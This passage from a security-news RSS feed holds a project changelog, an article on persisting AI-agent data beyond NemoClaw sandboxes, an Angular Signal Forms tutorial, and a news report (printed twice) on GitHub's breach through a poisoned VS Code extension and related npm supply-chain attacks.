<li><strong>security:</strong> upgrade starlette to fix DoS via Range header merging (<a href="https://github.com/langwatch/scenario/issues/402" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/402/hovercard">#402</a>) (<a href="https://github.com/langwatch/scenario/commit/11135a780521fc169211665102d1bf3e6766706e">11135a7</a>)</li>
<li><strong>security:</strong> upgrade urllib3 to fix decompression bomb CVEs (<a href="https://github.com/langwatch/scenario/issues/404" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/404/hovercard">#404</a>) (<a href="https://github.com/langwatch/scenario/commit/1b00ea2bbafc387eeda7cd9f04e3c7274ac27772">1b00ea2</a>)</li>
<li><strong>voice:</strong> render audio messages cleanly in the terminal (<a href="https://github.com/langwatch/scenario/issues/497" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/497/hovercard">#497</a>) (<a href="https://github.com/langwatch/scenario/commit/bb4ff9bb13c041050a87ff4618a2f8476ee219dd">bb4ff9b</a>)</li>
<li><strong>voice:</strong> stub bot barge-in cancelled STT mid-pipeline, dropping user transcripts (<a href="https://github.com/langwatch/scenario/issues/499" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/499/hovercard">#499</a>) (<a href="https://github.com/langwatch/scenario/commit/5cb35960cd294c8b1e3c867dbccadf86205af891">5cb3596</a>)</li>
</ul>
<h3>Miscellaneous</h3>
<ul>
<li><strong>deps-dev:</strong> bump vite, @vitejs/plugin-react-swc and lovable-tagger (<a href="https://github.com/langwatch/scenario/commit/e43f9386b8122de9f0c077b473083bdb3c9f9478">e43f938</a>)</li>
<li><strong>deps-dev:</strong> bump vite, @vitejs/plugin-react-swc and lovable-tagger in /python/examples/lovable_clone/template (<a href="https://github.com/langwatch/scenario/issues/429" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/429/hovercard">#429</a>) (<a href="https://github.com/langwatch/scenario/commit/e43f9386b8122de9f0c077b473083bdb3c9f9478">e43f938</a>)</li>
<li><strong>deps:</strong> bump black from 25.1.0 to 26.3.1 in /python (<a href="https://github.com/langwatch/scenario/issues/431" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/431/hovercard">#431</a>) (<a href="https://github.com/langwatch/scenario/commit/07db40a07cd53c5b6aa15c4bb0c36b9fa06db164">07db40a</a>)</li>
<li><strong>deps:</strong> bump gitpython from 3.1.49 to 3.1.50 in /python (<a href="https://github.com/langwatch/scenario/issues/447" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/447/hovercard">#447</a>) (<a href="https://github.com/langwatch/scenario/commit/3fcd1fa5eadb77b9dad5c055cdd6047f3639647a">3fcd1fa</a>)</li>
<li><strong>deps:</strong> bump mako from 1.3.10 to 1.3.12 in /python (<a href="https://github.com/langwatch/scenario/issues/448" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/448/hovercard">#448</a>) (<a href="https://github.com/langwatch/scenario/commit/ab4d5764aaadb87b73182287d4232750ca4fbebb">ab4d576</a>)</li>
<li><strong>deps:</strong> bump protobuf from 5.29.5 to 5.29.6 in /python (<a href="https://github.com/langwatch/scenario/issues/433" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/433/hovercard">#433</a>) (<a href="https://github.com/langwatch/scenario/commit/6ea6ed79e175df6458943a22e66976315fa2f720">6ea6ed7</a>)</li>
<li><strong>deps:</strong> bump pyasn1 from 0.6.1 to 0.6.3 in /python (<a href="https://github.com/langwatch/scenario/issues/432" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/432/hovercard">#432</a>) (<a href="https://github.com/langwatch/scenario/commit/ee837e7ac87ddc6ecada5651db5a5caf53cd0236">ee837e7</a>)</li>
<li><strong>deps:</strong> bump python-multipart from 0.0.20 to 0.0.26 in /python (<a href="https://github.com/langwatch/scenario/issues/430" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/430/hovercard">#430</a>) (<a href="https://github.com/langwatch/scenario/commit/0b29bbbb18b833d3fe5bee8de3d80de8b9ebe69c">0b29bbb</a>)</li>
<li><strong>deps:</strong> bump python-multipart from 0.0.26 to 0.0.27 in /python (<a href="https://github.com/langwatch/scenario/issues/449" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/449/hovercard">#449</a>) (<a href="https://github.com/langwatch/scenario/commit/e5467b366870bb6d368ec093dd910292477e2934">e5467b3</a>)</li>
<li><strong>deps:</strong> bump starlette from 0.47.0 to 0.49.1 in /python (<a href="https://github.com/langwatch/scenario/issues/434" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/434/hovercard">#434</a>) (<a href="https://github.com/langwatch/scenario/commit/5263fed39b4a8c8404ca1f6581352d6f7921f682">5263fed</a>)</li>
<li><strong>deps:</strong> bump urllib3 from 1.26.20 to 2.6.3 in /python (<a href="https://github.com/langwatch/scenario/issues/435" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/435/hovercard">#435</a>) (<a href="https://github.com/langwatch/scenario/commit/1793d6463cf6298d45aaba082171cd900bb49037">1793d64</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The dark data problem hiding inside your AI agents]]></title>
<description><![CDATA[OpenClaw recently crossed 250,000 GitHub stars in just 60 days, surpassing React’s decade-long record to become the most-starred software project in GitHub’s history. At GTC 2026, in his keynote speech, NVIDIA CEO Jensen Huang called it “the operating system for personal AI” and said, “For the CE...]]></description>
<link>https://tsecurity.de/de/3535697/it-security-nachrichten/the-dark-data-problem-hiding-inside-your-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3535697/it-security-nachrichten/the-dark-data-problem-hiding-inside-your-ai-agents/</guid>
<pubDate>Thu, 21 May 2026 11:08:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>OpenClaw recently crossed 250,000 GitHub stars in just 60 days, surpassing React’s decade-long record to become the most-starred software project in GitHub’s history. At <a href="https://www.brighttalk.com/webcast/14807/664519?utm_source=Backblaze&amp;utm_medium=brighttalk&amp;utm_campaign=664519" rel="nofollow">GTC 2026</a>, in his <a href="https://www.youtube.com/watch?v=jw_o0xr8MWU" rel="nofollow">keynote speech,</a> NVIDIA CEO Jensen Huang called it “the operating system for personal AI” and said, “For the CEOs, the question is, what’s your OpenClaw strategy?”</p>



<p>I was at NVIDIA’s Hack for Impact hackathon at GTC, building alongside engineers who were using NemoClaw, OpenClaw and Nemotron to tackle real-world problems. One team built a wildfire detection system ingesting live NASA satellite data; another analyzed crime patterns across police jurisdictions; a third forecasted anomalies in energy grids.</p>



<p>Every project was impressive. But watching them, I kept thinking about what happens the day after the hackathon. Where does all the data go?</p>



<p>Autonomous AI agents continuously produce outputs—reports, analyses, alerts, processed video, audio and images. They accumulate memory, conversation histories and skills over weeks of operation. They generate audit trails and compliance metadata with every decision they make. All of that adds up fast.</p>



<p>Without a deliberate strategy for storing, versioning and surfacing that data, it becomes dark data; that is, data which is generated but inaccessible, unversioned and invisible to the rest of your organization. At a hackathon, dark data is an acceptable tradeoff. In production, it’s a liability.</p>



<h2 class="wp-block-heading">NemoClaw and the dark data gap</h2>



<p><a href="https://github.com/NVIDIA/NemoClaw" rel="nofollow">NemoClaw</a> builds on <a href="https://github.com/openclaw/openclaw" rel="nofollow">OpenClaw</a> by adding a security layer called <a href="https://github.com/NVIDIA/OpenShell" rel="nofollow">OpenShell</a>, a runtime that sandboxes each agent at the kernel level. Network requests, file access and inference calls are all governed by declarative policy, enforced outside the agent’s own process so the agent can never override its own rules. It’s a meaningful advance in runtime governance, and it’s one of the reasons NemoClaw is gaining traction in enterprise deployments.</p>



<p>But runtime governance and keeping data accessible are two different problems, and NemoClaw only solves the first.</p>



<p>Inside NemoClaw, each OpenClaw agent maintains workspace files that define its personality, preferences and behavioral context. These files live in a dedicated volume within an embedded Kubernetes cluster. It’s contained and governed, but it isn’t durable. In fact, the developer community is already asking for better backup and restore workflows on the <a href="https://github.com/NVIDIA/NemoClaw/issues?q=is%3Aissue%20state%3Aopen%20backup%20restore" rel="nofollow">NemoClaw GitHub repo</a>.</p>



<p>This is where dark data enters the picture.</p>



<p>Any files an agent creates inside the sandbox are temporary. When the agent stops running, they’re gone. The memory and context an agent builds up over weeks of operation can be wiped out by a crashed container, a failed migration or a routine infrastructure change. Without something underneath the runtime to catch all of that, everything your agents produce is at risk of disappearing.</p>



<p>Fixing this isn’t just a storage problem; it’s an architectural one. From what I’ve seen, every agentic system that makes it into production needs to guarantee three things: that data persists, that it can be explained and that it can be recovered when something goes wrong.</p>



<h3 class="wp-block-heading">Persistence: Don’t lose it</h3>



<p>The most immediate risk is also the most obvious. Agents generate outputs constantly, but inside a sandboxed runtime, those artifacts only exist as long as the process that created them. When the agent stops, the data goes with it.</p>



<p>The same is true for agent state. Memory, session history and accumulated context are what make an agent valuable over time. But when those things live inside ephemeral volumes, they’re fragile by default. A redeploy, a failed migration or a routine infrastructure change can wipe out weeks of accumulated knowledge. Without persistence, agents don’t compound in value. They reset.</p>



<h3 class="wp-block-heading">Traceability: Explain it</h3>



<p>Even when data persists, a second problem emerges: you can’t explain it. An agent produces a report, but without any record of how it was made, you can’t verify or trust it. You don’t know which model generated it, what inputs it used, what policies governed its behavior or what tools it used along the way. At that point the data exists, but it isn’t usable.</p>



<p>Traceability solves this by capturing metadata at the moment an artifact is created and storing it alongside the output: which agent produced it, which model and configuration it used, what inputs and context it received and what policies shaped the result. This turns outputs into records. For enterprises operating under SOC 2, HIPAA or GDPR, those records are also a compliance requirement.</p>



<h3 class="wp-block-heading">Recoverability: Trust it</h3>



<p>The third problem only shows up when something breaks. Systems fail, containers crash and data pipelines misfire. When that happens, having data stored somewhere isn’t enough. You need to be able to get it back</p>



<p>Agent state is especially sensitive here. The context an agent builds across your systems, customers and workflows is not easily reconstructed. Losing it means losing the operational value the agent has been building since deployment. A system that can’t recover its data can’t be trusted, no matter how well it performs when everything is working.</p>



<h2 class="wp-block-heading">What a durable cloud storage layer does for your agents</h2>



<p>In practice, teams solve this by introducing a durable storage layer underneath the runtime.</p>



<p>For persistence, it moves artifacts and states out of the sandbox the moment they’re created. Everything your agents produce remains accessible after they stop running, available via URLs and portable across tools and workflows. Artifacts persist independently of the runtime, so they survive failures, redeployments and infrastructure changes.</p>



<p>For traceability, it captures metadata at creation and stores it alongside every artifact, making each output explainable from the moment it exists. When you upload an artifact, you attach metadata at the moment of creation: which agent produced it, which model it used, what inputs it received and what policy governed it. That metadata lives with the file permanently.  For example, at GTC, our FireWatch project did exactly this. Wildfire risk reports were uploaded and shareable URLs were generated. Those links were embedded directly in stakeholder alert emails. Every output was traceable from the moment it was created.</p>



<p>For recoverability, it provides automated backups: encrypted snapshots of agent config, memory and sessions, retained with append-only immutability for audit trails and lifecycle policies for long-term retention. Restore workflows ensure that agent state and outputs can be recovered quickly and reliably. Agent state that would otherwise be wiped out by a crashed container or a failed migration survives, and it can be restored.</p>



<h2 class="wp-block-heading">Beyond runtime governance</h2>



<p>NemoClaw brought governance to the agentic stack. That was the necessary first step. But governance at the runtime level only gets you so far if everything your agents produce becomes dark data the moment it leaves the sandbox.</p>



<p>A durable cloud storage layer is what closes this gap. Every agent you add, every week they run and every modality they process generates more data that needs to persist, be explained and be recoverable. Without a deliberate storage architecture underneath the runtime, that data becomes dark data by default.</p>



<p>The teams operationalizing autonomous agents right now are making these architectural decisions whether they realize it or not. The ones who get persistence, traceability and recoverability right early will have agents that compound in value over time. The ones who don’t will find themselves rebuilding context, reconstructing audit trails and explaining to compliance teams why the data isn’t there.</p>



<p>The dark data problem quietly accumulates until it becomes someone’s emergency. Building on a durable cloud storage layer from the start is how you make sure it doesn’t become yours.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Angular Signal Forms: From event pipelines to signal-driven state]]></title>
<description><![CDATA[Forms are often the most state-heavy part of a front-end application. They capture user input, run validation logic, track interaction states, and coordinate how changes propagate through the UI. As forms grow larger, with multi-step workflows, conditional fields, and asynchronous validation, the...]]></description>
<link>https://tsecurity.de/de/3535683/ai-nachrichten/angular-signal-forms-from-event-pipelines-to-signal-driven-state/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3535683/ai-nachrichten/angular-signal-forms-from-event-pipelines-to-signal-driven-state/</guid>
<pubDate>Thu, 21 May 2026 11:03:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Forms are often the most <a href="https://www.infoworld.com/article/4154060/rethinking-angular-forms-a-state-first-perspective.html" data-type="link" data-id="https://www.infoworld.com/article/4154060/rethinking-angular-forms-a-state-first-perspective.html">state-heavy part</a> of a front-end application. They capture user input, run validation logic, track interaction states, and coordinate how changes propagate through the UI. As forms grow larger, with multi-step workflows, conditional fields, and asynchronous validation, the amount of code required to keep everything synchronized increases quickly.</p>



<p>Angular has introduced several approaches to managing forms. Early applications relied on template-driven forms. Later, reactive forms provided a structured way to model validation and control state. Typed forms further improved the developer experience by bringing stronger type safety to the API.</p>



<p>Signal Forms represent the next step in that evolution.</p>



<p>Signal Forms reflect a broader shift toward what can be described as a state-first front-end architecture, where application state becomes the primary structure and UI behavior is derived from it. Instead of coordinating reactions to user events across multiple controls and validators, developers describe the form’s data structure and validation rules while Angular keeps the UI synchronized automatically.</p>



<p>This reflects a broader architectural trend across modern front-end frameworks.</p>



<p>Much of the complexity in modern forms comes from coordinating reactions to events rather than representing form state directly. Signal Forms explore what happens when the form state itself becomes the primary abstraction.</p>



<p>This shift becomes easier to understand when applied to a concrete problem. In a recent article, “<a href="https://www.infoworld.com/article/4145032/we-mistook-event-handling-for-architecture.html">We mistook event handling for architecture</a>,” I explored how front-end systems often become complex when built around chains of events rather than explicit state. Forms provide one of the clearest examples of this problem — and illustrate how a state-first model changes the way we structure front-end systems.</p>



<p>Modern front-end complexity is often not a result of scale, but of modeling systems around event flows instead of explicit state.</p>



<h2 class="wp-block-heading"><a></a>Why forms become complex</h2>



<p>Forms rarely consist of simple inputs. Even relatively small forms often include several layers of behavior:</p>



<ul class="wp-block-list">
<li>Validation rules</li>



<li>Error messages</li>



<li>Touched and dirty states</li>



<li>Conditional UI updates</li>



<li>Derived values</li>



<li>Asynchronous validation</li>
</ul>



<p>In traditional architectures, event flows frequently trigger these behaviors. When a user types into a field, the framework triggers validation, updates control state, and propagates status changes throughout the form.</p>



<p>While this approach works well, developers often end up coordinating many moving parts: validators, state flags, UI conditions, and control hierarchies. As forms become more dynamic, the coordination logic grows quickly.</p>



<p>Angular Signal Forms approach the same challenge from a different perspective: start with the state and derive everything else from it.</p>



<h2 class="wp-block-heading"><a></a>Modeling form data with signals</h2>



<p>Signal Forms begin with a model represented as a signal. Instead of constructing form controls first, developers define the data structure that represents the form.</p>



<pre class="wp-block-code"><code>import { signal } from '@angular/core';

interface LoginModel {
  email: string;
  password: string;
}

loginModel = signal<loginmodel>({
  email: '',
  password: '',
});
</loginmodel></code></pre>



<p>This signal represents the single source of truth for the form’s data. When users interact with form inputs, Angular updates this model automatically.</p>



<p>Because signals are reactive primitives, Angular can track how the UI depends on this state and update the interface whenever the model changes. In this approach, the form’s data model is at the center of the architecture.</p>



<h2 class="wp-block-heading"><a></a>Creating a Signal Form</h2>



<p>Once the model is defined, Angular’s Signal Forms API connects the model to form behavior.</p>



<pre class="wp-block-code"><code>import { form, required, email } from '@angular/forms/signals';

loginForm = form(this.loginModel, (schema) =&gt; {
  required(schema.email, { message: 'Email is required' });
  email(schema.email, { message: 'Enter a valid email address' });
  required(schema.password, { message: 'Password is required' });
});
</code></pre>



<p>The <code>form()</code> function links the signal model with form logic. The schema callback defines validation rules that apply to each field. Instead of attaching validators directly to control objects, validation becomes a declarative description of constraints on the form’s state.</p>



<p>This design keeps validation logic close to the data structure itself and allows Angular to compute field validity automatically.</p>



<h2 class="wp-block-heading"><a></a>Binding fields in the template</h2>



<p>Fields are bound to the form using the formField directive.</p>



<pre class="wp-block-code"><code>


</code></pre>



<p>Angular automatically synchronizes the form model with the UI.</p>



<p>Templates can also read the field’s current value directly:</p>



<pre class="wp-block-code"><code><p>Email value: {{ loginForm.email().value() }}</p>
</code></pre>



<p>Because the value is exposed through a signal, Angular automatically updates the UI whenever the underlying state changes. No manual subscriptions or explicit change detection are required.</p>



<h2 class="wp-block-heading"><a></a>Validation as reactive state</h2>



<p>Validation is one of the areas where Signal Forms highlight the benefits of a state-first model.</p>



<p>In traditional form architectures, validation often occurs as a chain of reactions. Input changes trigger validators, validators update control status, and UI elements react to those updates.</p>



<p>Signal Forms treat validation differently. With Signal Forms, validation rules describe constraints on the form’s state. Angular derives validity directly from the current model.</p>



<p>When validation becomes a function of form state rather than a chain of events, many synchronization problems disappear.</p>



<p>Developers define relationships between data and validity instead of orchestrating validation pipelines. Angular maintains those relationships automatically.</p>



<h2 class="wp-block-heading"><a></a>Reactive UI behavior</h2>



<p>Because the field state is reactive, templates can respond directly to validation results.</p>



<pre class="wp-block-code"><code>@if (loginForm.email().errors()) {
  <p>Please enter a valid email address.</p>
}
</code></pre>



<p>Whenever the field value changes or validation rules update the state, Angular automatically refreshes the UI. Developers do not need to manually subscribe to value changes or propagate state through component code.</p>



<h2 class="wp-block-heading"><a></a>A state-first mental model</h2>



<p>The most important aspect of Signal Forms is not just the new API but the mental model it encourages.</p>



<p>Traditional form systems are often organized around event flows: user input triggers validation, validation updates control state, and components respond to those changes.</p>



<p>Signal Forms shift the focus toward modeling state explicitly. The form model describes the current data. Validation rules describe constraints on that data. The UI reacts automatically.</p>



<p>Signal Forms move Angular form architecture away from event orchestration and toward explicit state modelling. This approach reduces the amount of manual synchronization required between validation logic, form state, and UI behavior.</p>



<p>For large forms, that simplification can make the application significantly easier to reason about.</p>



<h2 class="wp-block-heading"><a></a>Where Signal Forms fit today</h2>



<p>Signal Forms are currently an experimental feature in Angular and are intended primarily for applications that are already adopting Signals as their core reactive primitive.</p>



<p>Existing applications built around reactive forms can continue using reactive forms successfully. Reactive forms remain a stable and powerful solution for complex workflows. Furthermore, Angular’s Signal Forms API provides interoperability tools such as <code>compatForm</code> and <code>SignalFormControl</code> that allow existing <code>FormControl</code> or <code>FormGroup</code> instances to participate in signal-based forms. This makes it possible to adopt Signal Forms incrementally, for example, introducing signal-based state in new components while existing reactive forms continue powering legacy or highly customized workflows.</p>



<p>Signal Forms represent a new direction that aligns with Angular’s broader Signals-based architecture. They demonstrate how common UI patterns may evolve when state becomes the central abstraction.</p>



<h2 class="wp-block-heading"><a></a>Signals and the future of Angular forms</h2>



<p>Angular’s investment in Signals has already influenced several parts of the framework, including change detection and component/router inputs. Forms are another area where this approach has the potential to simplify application design.</p>



<p>By modeling form data as a reactive state, Angular can reduce the amount of coordination code that developers typically write when managing validation, UI updates, and derived values. As Signals mature in Angular, forms may become one of the clearest examples of the framework’s shift toward state-driven front-end architecture.</p>



<p>For many applications, forms are where complexity accumulates fastest. Signal Forms demonstrate how treating the state as the central abstraction can make that complexity easier to manage. And in modern front-end systems, clarity of state is often the key to building applications that remain understandable as they grow.</p>



<p>As this model evolves, it is likely that frameworks like Angular will move away from explicit event orchestration as a primary design tool, and instead center more of their architecture around state relationships and derived computation.</p>



<p>Forms are only one example. As Angular continues to expand its Signals-based APIs, similar patterns are emerging across component inputs, routing, and data fetching.</p>



<p>These developments point to a broader architectural shift where front-end systems are increasingly modeled around explicit state rather than chains of events — a direction that will shape how Angular applications are designed in the coming years.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub admits major source code leak after 3,800 internal repositories breached]]></title>
<description><![CDATA[Microsoft’s GitHub has suffered what appears to be its biggest ever security breach after confirming that attackers exfiltrated code from around 3,800 of the company’s internal repositories.



News of the incident first emerged on May 19, when GitHub said it was investigating “unauthorized acces...]]></description>
<link>https://tsecurity.de/de/3533853/ai-nachrichten/github-admits-major-source-code-leak-after-3800-internal-repositories-breached/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3533853/ai-nachrichten/github-admits-major-source-code-leak-after-3800-internal-repositories-breached/</guid>
<pubDate>Wed, 20 May 2026 18:34:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Microsoft’s GitHub has suffered what appears to be its biggest ever security breach after confirming that attackers exfiltrated code from around 3,800 of the company’s internal repositories.</p>



<p>News of the incident first emerged on May 19, when GitHub said it was investigating “unauthorized access.” Hours later, the company’s X account confirmed the worst:</p>



<p>“Yesterday we detected and contained a compromise of an employee device involving a poisoned VS [Visual Studio] Code extension. We removed the malicious extension version, isolated the endpoint, and began incident response immediately,” <a href="https://x.com/github/status/2056949168208552080" target="_blank" rel="noreferrer noopener">GitHub said</a>.</p>



<p>“Our current assessment is that the activity involved exfiltration of GitHub-internal repositories only. The attacker’s current claims of ~3,800 repositories are directionally consistent with our investigation so far.”</p>



<p>GitHub added: “We continue to analyze logs, validate secret rotation, and monitor for any follow-on activity. We will take additional action as the investigation warrants.” The company promised to publish a full incident report once it had completed its investigations.</p>



<p>That figure tallied with an earlier claim by the TeamPCP threat group that it had breached 4,000 repos, complete with a threat to leak the stolen code if no buyer willing to pay at least “50k” was found. The group backed up its claim by posting a list of the breached repositories on the LimeWire content sharing platform.</p>



<p>“As always this is not a ransom, we do not care about extorting Github, 1 buyer and we shred the data on our end, it looks like our retirement is soon so if no buyer is found we will leak it free,” the group said.</p>



<p>GitHub hasn’t named the poisoned VS Code extension that led to the compromise, but security company Akido Security speculated that there might be a connection to a separate TeamPCP attack, also on May 19, that led to the backdooring of the popular Nx Console VS Code extension.</p>



<p>“The malicious version collected credentials silently from the moment a developer opened any workspace. The community, including Aikido Intel, caught it quickly, with the version pulled within 11 minutes,” <a href="https://www.aikido.dev/blog/github-breached-vs-code-extension" target="_blank" rel="noreferrer noopener">wrote</a> Akido’s technical product marketer Shaun Brown.</p>



<p><a href="https://github.com/nrwl/nx-console/security/advisories/GHSA-c9j4-9m59-847w" target="_blank" rel="noreferrer noopener">Nx Console’s advisory</a> put the exposure window for the compromised version 18.95.0 at 18 minutes, advising developers to update to version 18.100.0. According to the maintainers’ internal analytics, thousands of developers were caught out by the infected version. File paths targeted by attackers to steal credentials included Kubernetes, npm, AWS, 1Password, private keys, and GitHub.</p>



<p>The same May 19 campaign led to a major supply chain compromise of the node package manager (npm) open-source registry which resulted in attackers publishing 637 malicious versions across the namespace of <a href="https://www.infoworld.com/article/4173277/antv-data-visualization-tool-the-latest-to-be-hit-by-ongoing-npm-supply-chain-attacks.html">the AntV enterprise data visualization tool</a> in a 22-minute burst.</p>



<p>That came after a May 11 attack targeting the <a href="https://www.csoonline.com/article/4170284/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack.html">TanStack Router package ecosystem</a> was able to spew 170 malware-infected versions before it was halted.</p>



<p>“These are not sketchy packages and extensions from unknown publishers. They are tools developers use without thinking twice, precisely because it has the install count, the verified publisher badge, and the marketplace legitimacy that signal safety,” said Brown.</p>



<p>“High install count means high-value compromise. A verified publisher means developers don’t hesitate. Official marketplace means no one thinks to check.”</p>



<p>The TeamPCP modus operandi is simple: exploit platform updating weaknesses or stolen credentials to execute short, sharp worm attacks that burrow as far as possible into enterprises using open-source software before defenders can react.</p>



<p>As the number of incidents starts to grow — including a March TeamPCP attack on the <a href="https://www.infoworld.com/article/4154187/cert-eu-blames-trivy-supply-chain-attack-for-europa-eu-data-breach-3.html">Trivy vulnerability scanner</a>, and a separate attack on the <a href="https://www.csoonline.com/article/4152696/attackers-trojanize-axios-http-library-in-highest-impact-npm-supply-chain-attack.html">Axios npm JavaScript HTTP client library</a> — the evidence is that the strategy of targeting open source developer tools is rapidly turning into the next big security headache.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub admits major source code leak after 3,800 internal repositories breached]]></title>
<description><![CDATA[Microsoft’s GitHub has suffered what appears to be its biggest ever security breach after confirming that attackers exfiltrated code from around 3,800 of the company’s internal repositories.



News of the incident first emerged on May 19, when GitHub said it was investigating “unauthorized acces...]]></description>
<link>https://tsecurity.de/de/3533759/it-security-nachrichten/github-admits-major-source-code-leak-after-3800-internal-repositories-breached/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3533759/it-security-nachrichten/github-admits-major-source-code-leak-after-3800-internal-repositories-breached/</guid>
<pubDate>Wed, 20 May 2026 18:09:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Microsoft’s GitHub has suffered what appears to be its biggest ever security breach after confirming that attackers exfiltrated code from around 3,800 of the company’s internal repositories.</p>



<p>News of the incident first emerged on May 19, when GitHub said it was investigating “unauthorized access.” Hours later, the company’s X account confirmed the worst:</p>



<p>“Yesterday we detected and contained a compromise of an employee device involving a poisoned VS [Visual Studio] Code extension. We removed the malicious extension version, isolated the endpoint, and began incident response immediately,” <a href="https://x.com/github/status/2056949168208552080" target="_blank" rel="noreferrer noopener">GitHub said</a>.</p>



<p>“Our current assessment is that the activity involved exfiltration of GitHub-internal repositories only. The attacker’s current claims of ~3,800 repositories are directionally consistent with our investigation so far.”</p>



<p>GitHub added: “We continue to analyze logs, validate secret rotation, and monitor for any follow-on activity. We will take additional action as the investigation warrants.” The company promised to publish a full incident report once it had completed its investigations.</p>



<p>That figure tallied with an earlier claim by the TeamPCP threat group that it had breached 4,000 repos, complete with a threat to leak the stolen code if no buyer willing to pay at least “50k” was found. The group backed up its claim by posting a list of the breached repositories on the LimeWire content sharing platform.</p>



<p>“As always this is not a ransom, we do not care about extorting Github, 1 buyer and we shred the data on our end, it looks like our retirement is soon so if no buyer is found we will leak it free,” the group said.</p>



<p>GitHub hasn’t named the poisoned VS Code extension that led to the compromise, but security company Akido Security speculated that there might be a connection to a separate TeamPCP attack, also on May 19, that led to the backdooring of the popular Nx Console VS Code extension.</p>



<p>“The malicious version collected credentials silently from the moment a developer opened any workspace. The community, including Aikido Intel, caught it quickly, with the version pulled within 11 minutes,” <a href="https://www.aikido.dev/blog/github-breached-vs-code-extension" target="_blank" rel="noreferrer noopener">wrote</a> Akido’s technical product marketer Shaun Brown.</p>



<p><a href="https://github.com/nrwl/nx-console/security/advisories/GHSA-c9j4-9m59-847w" target="_blank" rel="noreferrer noopener">Nx Console’s advisory</a> put the exposure window for the compromised version 18.95.0 at 18 minutes, advising developers to update to version 18.100.0. According to the maintainers’ internal analytics, thousands of developers were caught out by the infected version. File paths targeted by attackers to steal credentials included Kubernetes, npm, AWS, 1Password, private keys, and GitHub.</p>



<p>The same May 19 campaign led to a major supply chain compromise of the node package manager (npm) open-source registry which resulted in attackers publishing 637 malicious versions across the namespace of <a href="https://www.infoworld.com/article/4173277/antv-data-visualization-tool-the-latest-to-be-hit-by-ongoing-npm-supply-chain-attacks.html">the AntV enterprise data visualization tool</a> in a 22-minute burst.</p>



<p>That came after a May 11 attack targeting the <a href="https://www.csoonline.com/article/4170284/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack.html">TanStack Router package ecosystem</a> was able to spew 170 malware-infected versions before it was halted.</p>



<p>“These are not sketchy packages and extensions from unknown publishers. They are tools developers use without thinking twice, precisely because it has the install count, the verified publisher badge, and the marketplace legitimacy that signal safety,” said Brown.</p>



<p>“High install count means high-value compromise. A verified publisher means developers don’t hesitate. Official marketplace means no one thinks to check.”</p>



<p>The TeamPCP modus operandi is simple: exploit platform updating weaknesses or stolen credentials to execute short, sharp worm attacks that burrow as far as possible into enterprises using open-source software before defenders can react.</p>



<p>As the number of incidents starts to grow — including a March TeamPCP attack on the <a href="https://www.infoworld.com/article/4154187/cert-eu-blames-trivy-supply-chain-attack-for-europa-eu-data-breach-3.html">Trivy vulnerability scanner</a>, and a separate attack on the <a href="https://www.csoonline.com/article/4152696/attackers-trojanize-axios-http-library-in-highest-impact-npm-supply-chain-attack.html">Axios npm JavaScript HTTP client library</a> — the evidence is that the strategy of targeting open source developer tools is rapidly turning into the next big security headache.</p>



<p><em>This article first appeared on <a href="https://www.infoworld.com/article/4174734/github-admits-major-source-code-leak-after-3800-internal-repositories-breached.html">InfoWorld</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beth Tschida takes over at Jamf as AI transforms Apple in the enterprise]]></title>
<description><![CDATA[Jamf has a new CEO: former CTO Beth Tschida. She succeeds previous CEO John Strosahl, who himself replaced Dean Hager on his retirement. Tschida has served as interim CEO since March.



